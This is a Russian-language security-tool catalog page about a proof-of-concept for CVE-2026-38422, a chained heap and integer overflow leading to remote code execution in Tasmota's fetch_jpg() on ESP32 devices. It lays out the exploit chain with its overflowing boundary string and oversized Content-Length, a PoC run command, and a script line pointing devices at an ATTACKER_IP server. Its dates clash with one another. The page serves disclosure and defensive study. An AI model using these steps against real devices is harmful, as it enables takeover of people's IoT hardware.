Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-38422 — CVE-2026-38422 — удаленное выполнение кода через комбинированные переполнения буфера в fetch_jpg() в Tasmota (Tasmota <= 15.3.0.3) | Kitploit
Инструменты/GitHubGitHub/sermikr0/cve-2026-38422
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеБезопасность оборудования и IoTИнструмент Удаленного ДоступаЭксплуатация Бинарных Файлов
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — удаленное выполнение кода через комбинированные переполнения буфера в fetch_jpg() в Tasmota (Tasmota <= 15.3.0.3)

23 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-38422: Удалённое выполнение кода через комбинированные переполнения буфера в Tasmota fetch_jpg()

CVE: CVE-2026-38422
Severity: Критический (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg()
Author: Saidakbarxon Maxsudxonov
Disclosure: Ответственное раскрытие — сообщено команде Tasmota до публикации


Краткое описание

Функция fetch_jpg() в драйвере скриптера Tasmota (xdrv_10_scripter.ino) содержит две усугубляющие друг друга уязвимости повреждения памяти, которые вместе позволяют удалённо выполнять код на устройствах на базе ESP32 под управлением Tasmota <= 15.3.0.3:

  1. Фаза 1 (случай 0): Переполнение strcpy() в фиксированный 40-байтовый буфер boundary[] — повреждает смежную память кучи, включая указатели vtable WiFiClient/HTTPClient (см. также CVE-2026-38426)
  2. Фаза 2 (случай 2): Целочисленное переполнение uint16_t при обработке Content-Length — выделяется недостаточный буфер, что приводит к повреждению состояния потока (см. также CVE-2026-38427)

Используемые вместе в рамках одной атаки, эти два примитива максимизируют повреждение кучи и значительно увеличивают вероятность достижения произвольного выполнения кода.


Цепочка уязвимости

root@kitploit:~
Сервер MJPEG злоумышленника
       │
       │ Фаза 1: HTTP-ответ 200 с длинной строкой границы
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ символов)
       │   → strcpy(boundary[40], 50_символов) → ПЕРЕПОЛНЕНИЕ
       │   → указатель vtable WiFiClient частично перезаписан
       ▼
  Куча ESP32 повреждена
       │
       │ Фаза 2: MJPEG-кадр с Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (переполнение)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 байт остаются в потоке → повреждение кучи/потока
       ▼
  Двойное повреждение → RCE / Гарантированный отказ в обслуживании

Доказательство концепции

root@kitploit:~
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

Сервер PoC:

  1. Принимает соединение от Tasmota (fetchjp() триггер)
  2. Фаза 1: Отправляет начальный HTTP 200 со строкой границы из 80 символов (переполнение)
  3. Фаза 2: Отправляет MJPEG-кадры с Content-Length: 65537 (переполнение)

См. полную реализацию в CVE-2026-38422_poc.py.


Запуск через скрипт Tasmota

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

Устройство должно выполнять скрипт Tasmota, использующий fetchjp(). Злоумышленник управляет сервером, к которому подключается устройство (или выполняет MITM в существующем соединении).


Воздействие

  • Конфиденциальность: Высокая — RCE на ESP32, доступ к секретам/учётным данным устройства
  • Целостность: Высокая — полный захват устройства
  • Доступность: Высокая — гарантированный цикл сбоя/перезагрузки
  • Вектор атаки: Network (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Оценка CVSS: 9.8 Критический

Затронутые устройства

Любое устройство Tasmota на базе ESP32, работающее с версией <= 15.3.0.3, с включённой поддержкой скриптера и скриптом, использующим fetchjp() для подключения к внешнему MJPEG-серверу.


Хронология

  • 2026-03-29: Обе уязвимости обнаружены и сообщены в MITRE
  • 2026-03-29: Назначен CVE-2026-38422
  • 2026-05-xx: Патч выпущен командой Tasmota (v15.3.0.4+)

Ссылки

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • Связанные: CVE-2026-38426 (переполнение strcpy)
  • Связанные: CVE-2026-38427 (переполнение uint16_t)
Скачать инструмент